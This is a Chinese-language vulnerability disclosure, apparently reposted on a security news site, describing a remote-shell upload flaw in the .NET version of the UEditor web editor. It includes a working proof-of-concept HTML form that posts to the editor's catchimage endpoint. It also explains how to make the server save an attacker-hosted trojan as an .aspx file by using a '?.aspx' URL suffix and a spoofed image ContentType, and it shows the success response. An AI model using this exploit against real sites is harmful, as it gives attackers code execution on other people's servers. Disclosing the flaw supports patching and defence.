最新版本UEditor .net getshell
- 发布时间:2018-08-03
- 公开时间:2018-08-21
- 漏洞类型:逻辑漏洞
- 危害等级:高
- 漏洞编号:xianzhi-2018-08-16052905(不收取 驳回)
- 测试版本:github最新版
漏洞详情
https://github.com/fex-team/ueditor/blob/dev-1.5.0/net/App_Code/CrawlerHandler.cs Crawler方法对source[]的检查仅仅是一个ContentType if (response.ContentType.IndexOf("image") == -1)
{
State = "Url is not an image";
return this;
}
并没有检查文件扩展名就直接保存到本地 导致getshell
POC:
<form action="http://xx.com/editor/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>
shell addr 可以用http://www.xxx.com/xxx.jpg?.aspx的方式使用包含木马的图片(为了使服务器返回的ContentType是image/xxx)
也可以用http://www.xxxx.com/xxx.php?.aspx然后在xxx.php中自己设置ContentType
返回如下
{"state":"SUCCESS","list":[{"state":"SUCCESS","source":"http://www.xxxx.com//upload/Encyclopedias/201808/03/2018080300550278683.png?.aspx","url":"/upload/image/201808/03/6366885698033038502306919.aspx"}]}
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 逐梦苍穹 习近平引领航天强国建设 4911320
- 2 神十八发射取得圆满成功 4946430
- 3 职高女孩逆袭成双一流大学研究生 4880302
- 4 解码首季经济成绩单 4763663
- 5 14岁男孩离家出走 一夜骑了60公里 4675562
- 6 女生租房后失联 房东去查房时惊呆了 4598368
- 7 神十八点火瞬间航天员齐刷刷敬礼 4459919
- 8 女子火车上如厕时130g黄金掉落铁轨 4362026
- 9 深圳部分区域将取消限购不实 4215421
- 10 夫妻养2.8万只鸡 为省人工自己捡蛋 4105964